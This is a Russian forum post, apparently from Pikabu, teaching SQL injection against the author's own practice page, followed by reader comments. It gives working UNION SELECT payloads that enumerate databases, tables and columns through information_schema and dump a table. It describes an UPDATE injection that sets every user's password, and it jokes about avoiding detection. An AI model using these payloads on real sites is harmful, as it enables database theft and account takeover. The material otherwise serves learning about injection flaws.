Как ломать сайты криворуких программистов.
Ломать сайты можно множеством способов, но один из самых простых и эффективных, если программист достаточно криворукий это SQL-инъекции
Давайте же немного обсудим данную тему.
Для того чтобы понять что тут происходит в принципе не нужно уметь программировать, знать SQL язык. Достаточно быть не сильно идиотом.
Что из себя представляют SQL инъекции? Это некие неправомерные действия, которые не предполагались выполняться данным скриптом.
Если привести пример из реальности, то это будет нечто такое:
Мать написала отцу записку:
Купи Васе конфет
А Вася взял и дописал: " и Пива"
В итоге отец видит записку:
Купи Васе конфет и Пива
Конечно когда прочитают логи и сверят данные Вася получит ремня, но временно он взломал систему. (поэтому правило первое, старайтесь действовать так чтоб вас не спалили)
Тут я подготовил простенький интерфейс на котором можно побаловаться:
https://test.ser60v.ru/injection/
По нормальному мы можем добавить строку, либо вытащить данные по поиску данной строки, дабы каждый ещё смог оставить немного своей дури:
Попробуем в поле поиска вбить не ololo
а
ololo' -- pikabu
Вывод выдаёт то же самое, итого мы можем применять инъекции.
В коде на сервере запрос выглядит так
SELECT * FROM `example` WHERE `text`='$find'
Мы же сами закрываем кавычки и комментируем всё последующее двумя дефисами.
Профит.
Что же мы можем сделать теперь?
Например добавить свой вывод:
' AND 0>1 UNION SELECT 1,2 -- pikabu
В этом случае мы выводим 1,2, но кому это интересно?
Если уж мы получили делать возможность инъекции необходимо узнать структуру базы, дабы получить возможность формировать желаемые запросы.
Получаем список баз
' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_schema)), 1 FROM information_schema.columns WHERE ''='
Таким запросом мы получим список баз к которым у данного пользователя есть доступ.
Тут в принципе не нужно ничего понимать, мы выводим столько же полей, потому как знаем что у нас их 2. Но в первое выводим через запятую все базы, к которым можем получить доступ.
Отлично, мы знаем что наша база называется injection
Теперь получим список таблиц нашей базы
' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and ''='
Получаем список колонок из таблицы secret
' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(column_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and table_name='secret' and ''='
Их внезапно тоже 2, так что не парясь можно получить всё содержимое.
' AND 0>1 UNION SELECT * FROM secret WHERE ''='
Много воли я решил не давать вам на сервере, например нет возможности редактировать структуру базы, создавать новые таблицы, удалять строки. Иначе начнётся тотальный треш.
В сущности, сейчас найти данную уязвимость практически невозможно. Но всякое в жизни бывает...
Так например было дело, на каком-то ресурсе удалось при редактировании своего пароля установить такой пароль всем, потому как было что-то типа:
UPDATE `users` SET `password`='$password' WHERE id=$id
Ну и если мы делаем переменную $password
newPass' -- ololo
То пароль newPass ставится для всех пользователей.
Защититься от инъекций куда проще, чем их использовать, но если доступ к оным получен - это дарует много возможностей.
Если кто-то сможет сделать insert/update в таблицу secret каким-то образом - с меня пиво первому сделавшему..)
-О божечки, он что-то сломал?
-Вроде того... Вы правда назвали сына Роберт') DROP TABLE Students?
-А, да. Малыш Робби Тейблс, так мы его называем.
-Ну, мы потеряли базу данных студентов за этот год, надеюсь вы довольны.
-А вы, надеюсь, научились очищать входные данные в базу данных.
https://xkcd.com/327/
https://xss-game.appspot.com/
не помню, на каком уровне застрял, но помню, что так и не прошел. начинающим хацкерам - рекомендую )
Вижу, кто-то начал добавлять html теги )
Мой любимый <plaintext> - он по сути экранирует хтмл теги. Но он на столько сильный что экранирует закрытие себя. Те один раз открывшись его не закрыть и весь код дальнейший идёт в виде текста)
опять про тех, кто подготовленные выражения не использует? это мануал в стиле "как трахнуть в жопу того, кто застрял в заборе"
Нихуясе, на Пикабу уже курсы хакеров открыли